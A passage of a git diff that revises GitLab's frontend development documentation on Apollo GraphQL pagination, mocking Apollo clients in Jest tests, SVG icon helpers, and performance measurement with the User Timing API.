we want to move to the next page, we use an Apollo `fetchMore` method, passing a new cursor (and, optionally, new variables) there. In the `updateQuery` hook, we have to return a result we want to see in the Apollo cache after fetching the next page. +[`Immer`s `produce`](#immutability-and-cache-updates)-function can help us with the immutability here: ```javascript -fetchNextPage() { - // as a first step, we're checking if we have more pages to move forward - if (this.pageInfo?.hasNextPage) { - this.$apollo.queries.designs.fetchMore({ - variables: { - // rest of design variables - ... - first: 10, - after: this.pageInfo?.endCursor, - }, - updateQuery(previousResult, { fetchMoreResult }) { - // here we can implement the logic of adding new designs to fetched one (for example, if we use infinite scroll) - // or replacing old result with the new one if we use numbered pages +fetchNextPage(endCursor) { + this.$apollo.queries.designs.fetchMore({ + variables: { + // ... The rest of the design variables + first: 10, + after: endCursor, + }, + updateQuery(previousResult, { fetchMoreResult }) { + // Here we can implement the logic of adding new designs to existing ones + // (for example, if we use infinite scroll) or replacing old result + // with the new one if we use numbered pages + + const { designs: previousDesigns } = previousResult.project.issue.designCollection; + const { designs: newDesigns } = fetchMoreResult.project.issue.designCollection + + return produce(previousResult, draftData => { + // `produce` gives us a working copy, `draftData`, that we can modify + // as we please and from it will produce the next immutable result for us + draftData.project.issue.designCollection.designs = [...previousDesigns, ...newDesigns]; + }); + }, + }); +} +``` - const newDesigns = fetchMoreResult.project.issue.designCollection.designs; - previousResult.project.issue.designCollection.designs.push(...newDesigns) +#### Using a recursive query in components - return previousResult; - }, - }); +When it is necessary to fetch all paginated data initially an Apollo query can do the trick for us. +If we need to fetch the next page based on user interactions, it is recommend to use a [`smartQuery`](https://apollo.vuejs.org/api/smart-query.html) along with the [`fetchMore`-hook](#using-fetchmore-method-in-components). + +When the query resolves we can update the component data and inspect the `pageInfo` object +to see if we need to fetch the next page, i.e. call the method recursively. + +Note that we also keep a `requestCount` to ensure that the application does not keep +requesting the next page, indefinitely. + +```javascript +data() { + return { + requestCount: 0, + isLoading: false, + designs: { + edges: [], + pageInfo: null, + }, + } +}, +created() { + this.fetchDesigns(); +}, +methods: { + handleError(error) { + this.isLoading = false; + // Do something with `error` + }, + fetchDesigns(endCursor) { + this.isLoading = true; + + return this.$apollo + .query({ + query: projectQuery, + variables() { + return { + // ... The rest of the design variables + first: 10, + endCursor, + }; + }, + }) + .then(({ data }) => { + const { id = null, issue = {} } = data.project || {}; + const { edges = [], pageInfo } = issue.designCollection?.designs || {}; + + // Update data + this.designs = { + id, + edges: [...this.designs.edges, ...edges]; + pageInfo: pageInfo; + }; + + // Increment the request count with each new result + this.requestCount += 1; + // Only fetch next page if we have more requests and there is a next page to fetch + if (this.requestCount < MAX_REQUEST_COUNT && pageInfo?.hasNextPage) { + this.fetchDesigns(pageInfo.endCursor); + } else { + this.isLoading = false; + } + }) + .catch(this.handleError); + }, +}, +``` + +#### Pagination and optimistic updates + +When Apollo caches paginated data client-side, it includes `pageInfo` variables in the cache key. +If you wanted to optimistically update that data, you'd have to provide `pageInfo` variables +when interacting with the cache via [`.readQuery()`](https://www.apollographql.com/docs/react/v2/api/apollo-client/#ApolloClient.readQuery) +or [`.writeQuery()`](https://www.apollographql.com/docs/react/v2/api/apollo-client/#ApolloClient.writeQuery). +This can be tedious and counter-intuitive. + +To make it easier to deal with cached paginated queries, Apollo provides the `@connection` directive. +The directive accepts a `key` parameter that will be used as a static key when caching the data. +You'd then be able to retrieve the data without providing any pagination-specific variables. + +Here's an example of a query using the `@connection` directive: + +```graphql +#import "~/graphql_shared/fragments/pageInfo.fragment.graphql" + +query DastSiteProfiles($fullPath: ID!, $after: String, $before: String, $first: Int, $last: Int) { + project(fullPath: $fullPath) { + siteProfiles: dastSiteProfiles(after: $after, before: $before, first: $first, last: $last) + @connection(key: "dastSiteProfiles") { + pageInfo { + ...PageInfo + } + edges { + cursor + node { + id + # ... + } + } + } } } ``` -Please note we don't have to save `pageInfo` one more time; `fetchMore` triggers a query -`result` hook as well. +In this example, Apollo will store the data with the stable `dastSiteProfiles` cache key. + +To retrieve that data from the cache, you'd then only need to provide the `$fullPath` variable, +omitting pagination-specific variables like `after` or `before`: + +```javascript +const data = store.readQuery({ + query: dastSiteProfilesQuery, + variables: { + fullPath: 'namespace/project', + }, +}); +``` + +Read more about the `@connection` directive in [Apollo's documentation](https://www.apollographql.com/docs/react/v2/caching/cache-interaction/#the-connection-directive). ### Managing performance @@ -561,7 +712,7 @@ it('tests apollo component', () => { const vm = shallowMount(App); vm.setData({ - ...mock data + ...mockData }); }); ``` @@ -633,7 +784,7 @@ function createComponent(props = {}) { ApolloMutation, }, mocks: { - $apollo: + $apollo, } }); } @@ -666,34 +817,51 @@ it('calls mutation on submitting form ', () => { To test the logic of Apollo cache updates, we might want to mock an Apollo Client in our unit tests. We use [`mock-apollo-client`](https://www.npmjs.com/package/mock-apollo-client) library to mock Apollo client and [`createMockApollo` helper](https://gitlab.com/gitlab-org/gitlab/-/blob/master/spec/frontend/helpers/mock_apollo_helper.js) we created on top of it. -To separate tests with mocked client from 'usual' unit tests, it's recommended to create an additional component factory. This way we only create Apollo Client instance when it's necessary: - -```javascript -function createComponent() {...} - -function createComponentWithApollo() {...} -``` +To separate tests with mocked client from 'usual' unit tests, it's recommended to create an additional factory and pass the created `mockApollo` as an option to the `createComponent`-factory. This way we only create Apollo Client instance when it's necessary. -Then we need to inject `VueApollo` to Vue local instance (`localVue.use()` can also be called within `createComponentWithApollo()`) +We need to inject `VueApollo` to the Vue local instance and, likewise, it is recommended to call `localVue.use()` within `createMockApolloProvider()` to only load it when it is necessary. ```javascript import VueApollo from 'vue-apollo'; import { createLocalVue } from '@vue/test-utils'; const localVue = createLocalVue(); -localVue.use(VueApollo); + +function createMockApolloProvider() { + localVue.use(VueApollo); + + return createMockApollo(requestHandlers); +} + +function createComponent(options = {}) { + const { mockApollo } = options; + ... + return shallowMount(..., { + localVue, + apolloProvider: mockApollo, + ... + }); +} ``` -After this, on the global `describe`, we should create a variable for `fakeApollo`: +After this, you can control whether you need a variable for `mockApollo` and assign it in the appropriate `describe`-scope: ```javascript -describe('Some component with Apollo mock', () => { +describe('Some component', () => { let wrapper; - let fakeApollo -}) + + describe('with Apollo mock', () => { + let mockApollo; + + beforeEach(() => { + mockApollo = createMockApolloProvider(); + wrapper = createComponent({ mockApollo }); + }); + }); +}); ``` -Within component factory, we need to define an array of _handlers_ for every query or mutation: +Within `createMockApolloProvider`-factory, we need to define an array of _handlers_ for every query or mutation: ```javascript import getDesignListQuery from '~/design_management/graphql/queries/get_design_list.query.graphql'; @@ -702,13 +870,16 @@ import moveDesignMutation from '~/design_management/graphql/mutations/move_desig describe('Some component with Apollo mock', () => { let wrapper; - let fakeApollo; + let mockApollo; + + function createMockApolloProvider() { + Vue.use(VueApollo); - function createComponentWithApollo() { const requestHandlers = [ [getDesignListQuery, jest.fn().mockResolvedValue(designListQueryResponse)], [permissionsQuery, jest.fn().mockResolvedValue(permissionsQueryResponse)], ]; + ... } }) ``` @@ -718,23 +889,38 @@ After this, we need to create a mock Apollo Client instance using a helper: ```javascript import createMockApollo from 'jest/helpers/mock_apollo_helper'; -describe('Some component with Apollo mock', () => { +describe('Some component', () => { let wrapper; - let fakeApollo; - function createComponentWithApollo() { + function createMockApolloProvider() { + Vue.use(VueApollo); + const requestHandlers = [ [getDesignListQuery, jest.fn().mockResolvedValue(designListQueryResponse)], [permissionsQuery, jest.fn().mockResolvedValue(permissionsQueryResponse)], ]; - fakeApollo = createMockApollo(requestHandlers); - wrapper = shallowMount(Index, { + return createMockApollo(requestHandlers); + } + + function createComponent(options = {}) { + const { mockApollo } = options; + + return shallowMount(Index, { localVue, - apolloProvider: fakeApollo, + apolloProvider: mockApollo, }); } -}) + + describe('with Apollo mock', () => { + let mockApollo; + + beforeEach(() => { + mockApollo = createMockApolloProvider(); + wrapper = createComponent({ mockApollo }); + }); + }); +}); ``` When mocking resolved values, ensure the structure of the response is the same @@ -744,13 +930,15 @@ When testing queries, please keep in mind they are promises, so they need to be ```javascript it('renders a loading state', () => { - createComponentWithApollo(); + const mockApollo = createMockApolloProvider(); + const wrapper = createComponent({ mockApollo }); expect(wrapper.find(LoadingSpinner).exists()).toBe(true) }); it('renders designs list', async () => { - createComponentWithApollo(); + const mockApollo = createMockApolloProvider(); + const wrapper = createComponent({ mockApollo }); jest.runOnlyPendingTimers(); await wrapper.vm.$nextTick(); @@ -762,7 +950,7 @@ it('renders designs list', async () => { If we need to test a query error, we need to mock a rejected value as request handler: ```javascript -function createComponentWithApollo() { +function createMockApolloProvider() { ... const requestHandlers = [ [getDesignListQuery, jest.fn().mockRejectedValue(new Error('GraphQL error')], @@ -772,7 +960,7 @@ function createComponentWithApollo() { ... it('renders error if query fails', async () => { - createComponent() + const wrapper = createComponent(); jest.runOnlyPendingTimers(); await wrapper.vm.$nextTick(); @@ -786,9 +974,11 @@ Request handlers can also be passed to component factory as a parameter. Mutations could be tested the same way with a few additional `nextTick`s to get the updated result: ```javascript -function createComponentWithApollo({ +function createMockApolloProvider({ moveHandler = jest.fn().mockResolvedValue(moveDesignMutationResponse), }) { + Vue.use(VueApollo); + moveDesignHandler = moveHandler; const requestHandlers = [ @@ -797,15 +987,21 @@ function createComponentWithApollo({ [moveDesignMutation, moveDesignHandler], ]; - fakeApollo = createMockApollo(requestHandlers); - wrapper = shallowMount(Index, { + return createMockApollo(requestHandlers); +} + +function createComponent(options = {}) { + const { mockApollo } = options; + + return shallowMount(Index, { localVue, - apolloProvider: fakeApollo, + apolloProvider: mockApollo, }); } ... it('calls a mutation with correct parameters and reorders designs', async () => { - createComponentWithApollo({}); + const mockApollo = createMockApolloProvider({}); + const wrapper = createComponent({ mockApollo }); wrapper.find(VueDraggable).vm.$emit('change', { moved: { @@ -828,14 +1024,100 @@ it('calls a mutation with correct parameters and reorders designs', async () => #### Testing `@client` queries -If your application contains `@client` queries, most probably you will have an Apollo Client warning saying that you have a local query but no resolvers are defined. In order to fix it, you need to pass resolvers to the mocked client with a second parameter (bare minimum is an empty object): +##### Using mock resolvers + +If your application contains `@client` queries, you get +the following Apollo Client warning when passing only handlers: + +```shell +Unexpected call of console.warn() with: + +Warning: mock-apollo-client - The query is entirely client-side (using @client directives) and resolvers have been configured. The request handler will not be called. +``` + +To fix this you should define mock `resolvers` instead of +mock `handlers`. For example, given the following `@client` query: + +```graphql +query getBlobContent($path: String, $ref: String!) { + blobContent(path: $path, ref: $ref) @client { + rawData + } +} +``` + +And its actual client-side resolvers: ```javascript -import createMockApollo from 'jest/helpers/mock_apollo_helper'; -... -fakeApollo = createMockApollo(requestHandlers, {}); +import Api from '~/api'; + +export const resolvers = { + Query: { + blobContent(_, { path, ref }) { + return { + __typename: 'BlobContent', + rawData: Api.getRawFile(path, { ref }).then(({ data }) => { + return data; + }), + }; + }, + }, +}; + +export default resolvers; +``` + +We can use a **mock resolver** that returns data with the +same shape, while mock the result with a mock function: + +```javascript +let mockApollo; +let mockBlobContentData; // mock function, jest.fn(); + +const mockResolvers = { + Query: { + blobContent() { + return { + __typename: 'BlobContent', + rawData: mockBlobContentData(), // the mock function can resolve mock data + }; + }, + }, +}; + +const createComponentWithApollo = ({ props = {} } = {}) => { + mockApollo = createMockApollo([], mockResolvers); // resolvers are the second parameter + + wrapper = shallowMount(MyComponent, { + localVue, + propsData: {}, + apolloProvider: mockApollo, + // ... + }) +}; + ``` +After which, you can resolve or reject the value needed. + +```javascript +beforeEach(() => { + mockBlobContentData = jest.fn(); +}); + +it('shows data', async() => { + mockBlobContentData.mockResolvedValue(data); // you may resolve or reject to mock the result + + createComponentWithApollo(); + + await waitForPromises(); // wait on the resolver mock to execute + + expect(findContent().text()).toBe(mockCiYml); +}); +``` + +##### Using `cache.writeQuery` + Sometimes we want to test a `result` hook of the local query. In order to have it triggered, we need to populate a cache with correct data to be fetched with this query: ```javascript @@ -849,14 +1131,16 @@ query fetchLocalUser { ```javascript import fetchLocalUserQuery from '~/design_management/graphql/queries/fetch_local_user.query.graphql'; -function createComponentWithApollo() { +function createMockApolloProvider() { + Vue.use(VueApollo); + const requestHandlers = [ [getDesignListQuery, jest.fn().mockResolvedValue(designListQueryResponse)], [permissionsQuery, jest.fn().mockResolvedValue(permissionsQueryResponse)], ]; - fakeApollo = createMockApollo(requestHandlers, {}); - fakeApollo.clients.defaultClient.cache.writeQuery({ + const mockApollo = createMockApollo(requestHandlers, {}); + mockApollo.clients.defaultClient.cache.writeQuery({ query: fetchLocalUserQuery, data: { fetchLocalUser: { @@ -864,18 +1148,111 @@ function createComponentWithApollo() { name: 'Test', }, }, - }) + }); + + return mockApollo; +} + +function createComponent(options = {}) { + const { mockApollo } = options; - wrapper = shallowMount(Index, { + return shallowMount(Index, { localVue, - apolloProvider: fakeApollo, + apolloProvider: mockApollo, + }); +} +``` + +Sometimes it is necessary to control what the local resolver returns and inspect how it is called by the component. This can be done by mocking your local resolver: + +```javascript +import fetchLocalUserQuery from '~/design_management/graphql/queries/fetch_local_user.query.graphql'; + +function createMockApolloProvider(options = {}) { + Vue.use(VueApollo); + const { fetchLocalUserSpy } = options; + + const mockApollo = createMockApollo([], { + Query: { + fetchLocalUser: fetchLocalUserSpy, + }, + }); + + // Necessary for local resolvers to be activated + mockApollo.clients.defaultClient.cache.writeQuery({ + query: fetchLocalUserQuery, + data: {}, }); + + return mockApollo; } ``` +In the test you can then control what the spy is supposed to do and inspect the component after the request have returned: + +```javascript +describe('My Index test with `createMockApollo`', () => { + let wrapper; + let fetchLocalUserSpy; + + afterEach(() => { + wrapper.destroy(); + wrapper = null; + fetchLocalUserSpy = null; + }); + + describe('when loading', () => { + beforeEach(() => { + const mockApollo = createMockApolloProvider(); + wrapper = createComponent({ mockApollo }); + }); + + it('displays the loader', () => { + // Assess that the loader is present + }); + }); + + describe('with data', () => { + beforeEach(async () => { + fetchLocalUserSpy = jest.fn().mockResolvedValue(localUserQueryResponse); + const mockApollo = createMockApolloProvider(fetchLocalUserSpy); + wrapper = createComponent({ mockApollo }); + await waitForPromises(); + }); + + it('should fetch data once', () => { + expect(fetchLocalUserSpy).toHaveBeenCalledTimes(1); + }); + + it('displays data', () => { + // Assess that data is present + }); + }); + + describe('with error', () => { + const error = 'Error!'; + + beforeEach(async () => { + fetchLocalUserSpy = jest.fn().mockRejectedValueOnce(error); + const mockApollo = createMockApolloProvider(fetchLocalUserSpy); + wrapper = createComponent({ mockApollo }); + await waitForPromises(); + }); + + it('should fetch data once', () => { + expect(fetchLocalUserSpy).toHaveBeenCalledTimes(1); + }); + + it('displays the error', () => { + // Assess that the error is displayed + }); + }); +}); +``` + ## Handling errors -GitLab's GraphQL mutations currently have two distinct error modes: [Top-level](#top-level-errors) and [errors-as-data](#errors-as-data). +The GitLab GraphQL mutations currently have two distinct error modes: [Top-level](#top-level-errors) and [errors-as-data](#errors-as-data). When utilising a GraphQL mutation, we must consider handling **both of these error modes** to ensure that the user receives the appropriate feedback when an error occurs. diff --git a/doc/development/fe_guide/icons.md b/doc/development/fe_guide/icons.md index 994a3aa36fc..1468e886220 100644 --- a/doc/development/fe_guide/icons.md +++ b/doc/development/fe_guide/icons.md @@ -1,7 +1,7 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Icons and SVG Illustrations @@ -22,7 +22,7 @@ Our goal is to replace one by one all inline SVG Icons (as those currently bloat ### Usage in HAML/Rails -To use a sprite Icon in HAML or Rails we use a specific helper function : +To use a sprite Icon in HAML or Rails we use a specific helper function: ```ruby sprite_icon(icon_name, size: nil, css_class: '') @@ -31,7 +31,7 @@ sprite_icon(icon_name, size: nil, css_class: '') - **icon_name**: Use the icon_name for the SVG sprite in the list of ([GitLab SVGs](https://gitlab-org.gitlab.io/gitlab-svgs)). - **size (optional)**: Use one of the following sizes : 16, 24, 32, 48, 72 (this - will be translated into a `s16` class) + is translated into a `s16` class) - **css_class (optional)**: If you want to add additional CSS classes. **Example** @@ -90,7 +90,7 @@ Please use the following function inside JS to render an icon: ### Usage in HAML/Rails -DANGER: **Warning:** +WARNING: Do not use the `spinner` or `icon('spinner spin')` rails helpers to insert loading icons. These helpers rely on the Font Awesome icon library which is deprecated. diff --git a/doc/development/fe_guide/index.md b/doc/development/fe_guide/index.md index 9f98876bc8e..84c1623f8c0 100644 --- a/doc/development/fe_guide/index.md +++ b/doc/development/fe_guide/index.md @@ -1,13 +1,13 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Frontend Development Guidelines This document describes various guidelines to ensure consistency and quality -across GitLab's frontend team. +across the GitLab frontend team. ## Overview @@ -24,7 +24,7 @@ Working with our frontend assets requires Node (v10.13.0 or greater) and Yarn For our currently-supported browsers, see our [requirements](../../install/requirements.md#supported-web-browsers). Use [BrowserStack](https://www.browserstack.com/) to test with our supported browsers. -Sign in to BrowserStack with the credentials saved in the **Engineering** vault of GitLab's +Sign in to BrowserStack with the credentials saved in the **Engineering** vault of the GitLab [shared 1Password account](https://about.gitlab.com/handbook/security/#1password-guide). ## Initiatives @@ -41,7 +41,7 @@ How we [plan and execute](development_process.md) the work on the frontend. ## Architecture -How we go about [making fundamental design decisions](architecture.md) in GitLab's frontend team +How we go about [making fundamental design decisions](architecture.md) in the GitLab frontend team or make changes to our frontend development guidelines. ## Testing @@ -56,7 +56,7 @@ Reusable components with technical and usage guidelines can be found in our ## Design Patterns -Common JavaScript [design patterns](design_patterns.md) in GitLab's codebase. +Common JavaScript [design patterns](design_patterns.md) in the GitLab codebase. ## Vue.js Best Practices diff --git a/doc/development/fe_guide/keyboard_shortcuts.md b/doc/development/fe_guide/keyboard_shortcuts.md index 227b5cfd22c..e50e9ec65df 100644 --- a/doc/development/fe_guide/keyboard_shortcuts.md +++ b/doc/development/fe_guide/keyboard_shortcuts.md @@ -1,7 +1,7 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Implementing keyboard shortcuts diff --git a/doc/development/fe_guide/performance.md b/doc/development/fe_guide/performance.md index de9a9f5cb14..7825c89b7cf 100644 --- a/doc/development/fe_guide/performance.md +++ b/doc/development/fe_guide/performance.md @@ -1,11 +1,205 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Performance +Performance is an essential part and one of the main areas of concern for any modern application. + +## User Timing API + +[User Timing API](https://developer.mozilla.org/en-US/docs/Web/API/User_Timing_API) is a web API +[available in all modern browsers](https://caniuse.com/?search=User%20timing). It allows measuring +custom times and durations in your applications by placing special marks in your +code. You can use the User Timing API in GitLab to measure any timing, regardless of the framework, +including Rails, Vue, or vanilla JavaScript environments. For consistency and +convenience of adoption, GitLab offers several ways to enable custom user timing metrics in +your code. + +User Timing API introduces two important paradigms: `mark` and `measure`. + +**Mark** is the timestamp on the performance timeline. For example, +`performance.mark('my-component-start');` makes a browser note the time this code +is met. Then, you can obtain information about this mark by querying the global +performance object again. For example, in your DevTools console: + +```javascript +performance.getEntriesByName('my-component-start') +``` + +**Measure** is the duration between either: + +- Two marks +- The start of navigation and a mark +- The start of navigation and the moment the measurement is taken + +It takes several arguments of which the measurement’s name is the only one required. Examples: + +- Duration between the start and end marks: + + ```javascript + performance.measure('My component', 'my-component-start', 'my-component-end') + ``` + +- Duration between a mark and the moment the measurement is taken. The end mark is omitted in + this case. + + ```javascript + performance.measure('My component', 'my-component-start') + ``` + +- Duration between [the navigation start](https://developer.mozilla.org/en-US/docs/Web/API/Performance/timeOrigin) + and the moment the actual measurement is taken. + + ```javascript + performance.measure('My component') + ``` + +- Duration between [the navigation start](https://developer.mozilla.org/en-US/docs/Web/API/Performance/timeOrigin) + and a mark. You cannot omit the start mark in this case but you can set it to `undefined`. + + ```javascript + performance.measure('My component', undefined, 'my-component-end') + ``` + +To query a particular `measure`, You can use the same API, as for `mark`: + +```javascript +performance.getEntriesByName('My component') +``` + +You can also query for all captured marks and measurements: + +```javascript +performance.getEntriesByType('mark'); +performance.getEntriesByType('measure'); +``` + +Using `getEntriesByName()` or `getEntriesByType()` returns an Array of [the PerformanceMeasure +objects](https://developer.mozilla.org/en-US/docs/Web/API/PerformanceMeasure) which contain +information about the measurement's start time and duration. + +### User Timing API utility + +You can use the `performanceMarkAndMeasure` utility anywhere in GitLab, as it's not tied to any +particular environment. + +`performanceMarkAndMeasure` takes an object as an argument, where: + +| Attribute | Type | Required | Description | +|:------------|:---------|:---------|:----------------------| +| `mark` | `String` | no | The name for the mark to set. Used for retrieving the mark later. If not specified, the mark is not set. | +| `measures` | `Array` | no | The list of the measurements to take at this point. | + +In return, the entries in the `measures` array are objects with the following API: + +| Attribute | Type | Required | Description | +|:------------|:---------|:---------|:----------------------| +| `name` | `String` | yes | The name for the measurement. Used for retrieving the mark later. Must be specified for every measure object, otherwise JavaScript fails. | +| `start` | `String` | no | The name of a mark **from** which the measurement should be taken. | +| `end` | `String` | no | The name of a mark **to** which the measurement should be taken. | + +Example: + +```javascript +import { performanceMarkAndMeasure } from '~/performance/utils'; +... +performanceMarkAndMeasure({ + mark: MR_DIFFS_MARK_DIFF_FILES_END, + measures: [ + { + name: MR_DIFFS_MEASURE_DIFF_FILES_DONE, + start: MR_DIFFS_MARK_DIFF_FILES_START, + end: MR_DIFFS_MARK_DIFF_FILES_END, + }, + ], +}); +``` + +### Vue performance plugin + +The plugin captures and measures the performance of the specified Vue components automatically +leveraging the Vue lifecycle and the User Timing API. + +To use the Vue performance plugin: + +1. Import the plugin: + + ```javascript + import PerformancePlugin from '~/performance/vue_performance_plugin'; + ``` + +1. Use it before initializing your Vue application: + + ```javascript + Vue.use(PerformancePlugin, { + components: [ + 'IdeTreeList', + 'FileTree', + 'RepoEditor', + ] + }); + ``` + +The plugin accepts the list of components, performance of which should be measured. The components +should be specified by their `name` option. + +You might need to explicitly set this option on the needed components, as +most components in the codebase don't have this option set: + +```javascript +export default { + name: 'IdeTreeList', + components: { + ... + ... +} +``` + +The plugin captures and stores the following: + +- The start **mark** for when the component has been initialized (in `beforeCreate()` hook) +- The end **mark** of the component when it has been rendered (next animation frame after `nextTick` + in `mounted()` hook). In most cases, this event does not wait for all sub-components to be + bootstrapped. To measure the sub-components, you should include those into the + plugin options. +- **Measure** duration between the two marks above. + +### Access stored measurements + +To access stored measurements, you can use either: + +- **Performance bar**. If you have it enabled (`P` + `B` key-combo), you can see the metrics + output in your DevTools console. +- **"Performance" tab** of the DevTools. You can get the measurements (not the marks, though) in + this tab when profiling performance. +- **DevTools console**. As mentioned above, you can query for the entries: + + ```javascript + performance.getEntriesByType('mark'); + performance.getEntriesByType('measure'); + ``` + +### Naming convention + +All the marks and measures should be instantiated with the constants from +`app/assets/javascripts/performance/constants.js`. When you’re ready to add a new mark’s or +measurement’s label, you can follow the pattern. + +NOTE: +This pattern is a recommendation and not a hard rule. + +```javascript +app-*-start // for a start ‘mark’ +app-*-end // for an end ‘mark’ +app-* // for ‘measure’ +``` + +For example, `'webide-init-editor-start`, `mr-diffs-mark-file-tree-end`, and so on. We do it to +help identify marks and measures coming from the different apps on the same page. + ## Best Practices ### Realtime Components @@ -18,29 +212,29 @@ When writing code for realtime features we have to keep a couple of things in mi Thus, we must strike a balance between sending requests and the feeling of realtime. Use the following rules when creating realtime solutions. -1. The server will tell you how much to poll by sending `Poll-Interval` in the header. - Use that as your polling interval. This way it is [easy for system administrators to change the - polling rate](../../administration/polling.md). +1. The server tells you how much to poll by sending `Poll-Interval` in the header. + Use that as your polling interval. This enables system administrators to change the + [polling rate](../../administration/polling.md). A `Poll-Interval: -1` means you should disable polling, and this must be implemented. 1. A response with HTTP status different from 2XX should disable polling as well. 1. Use a common library for polling. 1. Poll on active tabs only. Please use [Visibility](https://github.com/ai/visibilityjs). -1. Use regular polling intervals, do not use backoff polling, or jitter, as the interval will be +1. Use regular polling intervals, do not use backoff polling, or jitter, as the interval is controlled by the server. -1. The backend code will most likely be using etags. You do not and should not check for status - `304 Not Modified`. The browser will transform it for you. +1. The backend code is likely to be using etags. You do not and should not check for status + `304 Not Modified`. The browser transforms it for you. ### Lazy Loading Images To improve the time to first render we are using lazy loading for images. This works by setting the actual image source on the `data-src` attribute. After the HTML is rendered and JavaScript is loaded, -the value of `data-src` will be moved to `src` automatically if the image is in the current viewport. +the value of `data-src` is moved to `src` automatically if the image is in the current viewport. - Prepare images in HTML for lazy loading by renaming the `src` attribute to `data-src` AND adding the class `lazy`. -- If you are using the Rails `image_tag` helper, all images will be lazy-loaded by default unless `lazy: false` is provided. +- If you are using the Rails `image_tag` helper, all images are lazy-loaded by default unless `lazy: false` is provided. If you are asynchronously adding content which contains lazy images then you need to call the function -`gl.lazyLoader.searchLazyImages()` which will search for lazy images and load them if needed. +`gl.lazyLoader.searchLazyImages()` which searches for lazy images and loads them if needed. But in general it should be handled automatically through a `MutationObserver` in the lazy loading function. ### Animations @@ -49,14 +243,14 @@ Only animate `opacity` & `transform` properties. Other properties (such as `top` Layout to be recalculated, which is much more expensive. For details on this, see "Styles that Affect Layout" in [High Performance Animations](https://www.html5rocks.com/en/tutorials/speed/high-performance-animations/). -If you _do_ need to change layout (e.g. a sidebar that pushes main content over), prefer [FLIP](https://aerotwist.com/blog/flip-your-animations/) to change expensive +If you _do_ need to change layout (for example, a sidebar that pushes main content over), prefer [FLIP](https://aerotwist.com/blog/flip-your-animations/) to change expensive properties once, and handle the actual animation with transforms. ## Reducing Asset Footprint ### Universal code -Code that is contained within `main.js` and `commons/index.js` are loaded and +Code that is contained in `main.js` and `commons/index.js` is loaded and run on _all_ pages. **DO NOT ADD** anything to these files unless it is truly needed _everywhere_. These bundles include ubiquitous libraries like `vue`, `axios`, and `jQuery`, as well as code for the main navigation and sidebar. @@ -66,26 +260,26 @@ code footprint. ### Page-specific JavaScript Webpack has been configured to automatically generate entry point bundles based -on the file structure within `app/assets/javascripts/pages/*`. The directories -within the `pages` directory correspond to Rails controllers and actions. These -auto-generated bundles will be automatically included on the corresponding +on the file structure in `app/assets/javascripts/pages/*`. The directories +in the `pages` directory correspond to Rails controllers and actions. These +auto-generated bundles are automatically included on the corresponding pages. For example, if you were to visit <https://gitlab.com/gitlab-org/gitlab/-/issues>, you would be accessing the `app/controllers/projects/issues_controller.rb` controller with the `index` action. If a corresponding file exists at -`pages/projects/issues/index/index.js`, it will be compiled into a webpack +`pages/projects/issues/index/index.js`, it is compiled into a webpack bundle and included on the page. Previously, GitLab encouraged the use of -`content_for :page_specific_javascripts` within HAML files, along with +`content_for :page_specific_javascripts` in HAML files, along with manually generated webpack bundles. However under this new system you should not ever need to manually add an entry point to the `webpack.config.js` file. -TIP: **Tip:** +NOTE: If you are unsure what controller and action corresponds to a given page, you -can find this out by inspecting `document.body.dataset.page` within your -browser's developer console while on any page within GitLab. +can find this out by inspecting `document.body.dataset.page` in your +browser's developer console while on any page in GitLab. #### Important Considerations @@ -97,7 +291,7 @@ browser's developer console while on any page within GitLab. instantiate, and nothing else. - **`DOMContentLoaded` should not be used:** - All of GitLab's JavaScript files are added with the `defer` attribute. + All GitLab JavaScript files are added with the `defer` attribute. According to the [Mozilla documentation](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/script#attr-defer), this implies that "the script is meant to be executed after the document has been parsed, but before firing `DOMContentLoaded`". Since the document is already @@ -119,21 +313,21 @@ browser's developer console while on any page within GitLab. ``` Note that `waitForCSSLoaded()` methods supports receiving the action in different ways: - + - With a callback: - + ```javascript waitForCSSLoaded(action) ``` - + - With `then()`: - + ```javascript waitForCSSLoaded().then(action); ``` - + - With `await` followed by `action`: - + ```javascript await waitForCSSLoaded; action(); @@ -150,21 +344,21 @@ browser's developer console while on any page within GitLab. - **Supporting Module Placement:** - If a class or a module is _specific to a particular route_, try to locate - it close to the entry point it will be used. For instance, if - `my_widget.js` is only imported within `pages/widget/show/index.js`, you + it close to the entry point in which it is used. For instance, if + `my_widget.js` is only imported in `pages/widget/show/index.js`, you should place the module at `pages/widget/show/my_widget.js` and import it - with a relative path (e.g. `import initMyWidget from './my_widget';`). - - If a class or module is _used by multiple routes_, place it within a + with a relative path (for example, `import initMyWidget from './my_widget';`). + - If a class or module is _used by multiple routes_, place it in a shared directory at the closest common parent directory for the entry - points that import it. For example, if `my_widget.js` is imported within + points that import it. For example, if `my_widget.js` is imported in both `pages/widget/show/index.js` and `pages/widget/run/index.js`, then place the module at `pages/widget/shared/my_widget.js` and import it with - a relative path if possible (e.g. `../shared/my_widget`). + a relative path if possible (for example, `../shared/my_widget`). - **Enterprise Edition Caveats:** - For GitLab Enterprise Edition, page-specific entry points will override their + For GitLab Enterprise Edition, page-specific entry points override their Community Edition counterparts with the same name, so if - `ee/app/assets/javascripts/pages/foo/bar/index.js` exists, it will take + `ee/app/assets/javascripts/pages/foo/bar/index.js` exists, it takes precedence over `app/assets/javascripts/pages/foo/bar/index.js`. If you want to minimize duplicate code, you can import one entry point from the other. This is not done automatically to allow for flexibility in overriding @@ -172,10 +366,10 @@ browser's developer console while on any page within GitLab. ### Code Splitting -For any code that does not need to be 